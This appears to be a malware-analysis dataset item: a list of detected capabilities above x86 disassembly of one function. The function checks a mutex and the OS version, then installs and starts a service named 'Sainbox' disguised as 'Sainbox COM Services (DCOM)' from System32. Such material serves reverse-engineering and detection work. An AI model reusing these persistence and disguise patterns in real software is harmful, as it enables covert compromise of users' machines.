Function at 0x41ec30
Capabilities:
Accept command line arguments
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Check os version
Create thread
Get common file path
Get file attributes
Query environment variable
Start service
Terminate process

Disassembly:
sub esp, 0x568
push ebx
push ebp
push esi
lea eax, [esp + 0x290]
push edi
push eax
mov dword [esp + 0x298], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov esi, 6
xor ebx, ebx
cmp dword [esp + 0x298], esi
je 0x41ece1
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x191]
mov byte [esp + 0x190], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x190]
push 0x104
push ecx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x71]
mov byte [esp + 0x70], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0x190]
stosb byte es:[edi], al
push edx
lea eax, [esp + 0x74]
push str._sSysTEM32_sysedit.exe
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, dword [esp + 0x2a4]
add esp, 0xc
cmp eax, esi
jne 0x41ece1
lea ecx, [esp + 0x70]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x41ece1
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0xa
xor eax, eax
lea edi, [esp + 0x34]
push 0x7f04
rep stosd dword es:[edi], eax
push ebx
mov dword [esp + 0x3c], 2
mov dword [esp + 0x40], ebx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], ebx
mov dword [esp + 0x4c], ebx
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x7f8b
push ebx
mov dword [esp + 0x50], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
lea edx, [esp + 0x34]
mov dword [esp + 0x58], ebx
push edx
mov dword [esp + 0x50], eax
call dword [sym.imp.USER32.dll_RegisterClassA]
cmp dword [0x50e5f8], 1
jne 0x41ed43
call fcn.0041eb90
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
call dword [sym.imp.USER32.dll_GetInputState]
push ebx
push ebx
lea eax, [esp + 0x17c]
push ebx
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
call fcn.0041db70
lea ecx, [esp + 0x5c]
push 1
push ecx
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push ebx
push ebx
lea edx, [esp + 0x64]
push 1
push edx
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
lea eax, [esp + 0x5c]
mov dword [esp + 0x20], ebx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0xc
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov ebp, eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x331]
mov byte [esp + 0x330], bl
lea edx, [esp + 0x330]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, str.Global_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x330]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x330]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1c]
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x51eb04], eax
cmp eax, ebx
je 0x41ee55
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x41ee55
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x568
ret
lea edx, [esp + 0x474]
push 0x104
push edx
push str._SystemRoot_System32_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea edi, [esp + 0x474]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, str._SystemRoot_System32_
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str._SystemRoot_System32_
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp byte [ecx + 0x50e2ef], 0x5c
jne 0x41eec0
mov edi, str._SystemRoot_System32_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
mov byte [ecx + 0x50e2ee], bl
cmp dword [0x50e2ec], ebx
jne 0x41f12f
lea ecx, [esp + 0x70]
mov dword [esp + 0x70], 0x9c
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea edx, [esp + 0x7c]
lea eax, [esp + 0x78]
push edx
lea ecx, [esp + 0x78]
push eax
push ecx
call fcn.00418ee0
mov eax, dword [esp + 0x80]
add esp, 0xc
cmp eax, 0xa
jne 0x41ef4c
cmp dword [esp + 0x78], ebx
jne 0x41ef4c
push ebx
push ebx
push ebx
push 0x41e980
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push ebx
push ebx
push ebx
push fcn.0041d360
push ebx
push ebx
call fcn.0042a560
add esp, 0x1c
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xf4240
call esi
jmp 0x41ef43
cmp dword [0x50e2e4], ebx
je 0x41f0c5
mov esi, 1
push str.__acsi
push ebp
mov word [0x51eb7c], si
call fcn.0042cce0
add esp, 8
test eax, eax
je 0x41ef87
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x32
call esi
call fcn.0041d360
jmp 0x41ef7c
push str.Sainbox
call fcn.0041f170
add esp, 4
test eax, eax
je 0x41f027
lea edx, [esp + 0x24]
mov dword [esp + 0x24], str.Sainbox
push edx
mov dword [esp + 0x2c], 0x41de90
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
test eax, eax
jne 0x41f016
push 0x20000
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
cmp edi, ebx
je 0x41f016
push 0x10
push str.Sainbox
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebp, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
cmp esi, ebx
je 0x41f013
push ebx
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
push esi
je 0x41f011
mov esi, ebp
call esi
push edi
call esi
call fcn.0041c760
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call ebp
push edi
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x32
call esi
call fcn.0041d360
jmp 0x41f01c
mov cl, 0x25
mov al, 0x73
mov byte [esp + 0x10], cl
mov byte [esp + 0x11], al
mov byte [esp + 0x13], cl
mov byte [esp + 0x14], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x191]
mov byte [esp + 0x190], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push str.sainbox.exe
lea eax, [esp + 0x14]
push str._SystemRoot_System32_
lea ecx, [esp + 0x198]
push eax
push ecx
mov byte [esp + 0x22], 0x5c
mov byte [esp + 0x25], bl
call fcn.0042cdcc
push str.Sainbox
call fcn.0041e2b0
push str.Sainbox_COM_Services__DCOM_
push str.Sainbox_COM_Support
lea edx, [esp + 0x1ac]
push str.Sainbox
push edx
call fcn.0041f480
lea eax, [esp + 0x1b4]
push eax
call fcn.0041dc30
mov eax, dword [0x50e590]
add esp, 0x28
cmp eax, esi
jne 0x41f0be
call fcn.0041c760
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x50e2e8], ebx
je 0x41f0f3
push str.Sainbox
mov word [0x51eb7c], 2
call fcn.0041e2b0
add esp, 4
push ebx
push ebx
push ebx
push 0x41ea30
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.0041e8b0
push eax
lea ecx, [esp + 0x438]
push 0x50db70
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, dword [0x50e590]
add esp, 0xc
cmp eax, 1
jne 0x41f11e
call fcn.0041e900
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x32
call esi
call fcn.0041d360
jmp 0x41f124
mov eax, dword [0x50e590]
mov word [0x51eb7c], bx
cmp eax, 1
jne 0x41f145
call fcn.0041e900
push str.Sainbox
call fcn.0041e2b0
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
push 0x32
call esi
call fcn.0041d360
jmp 0x41f158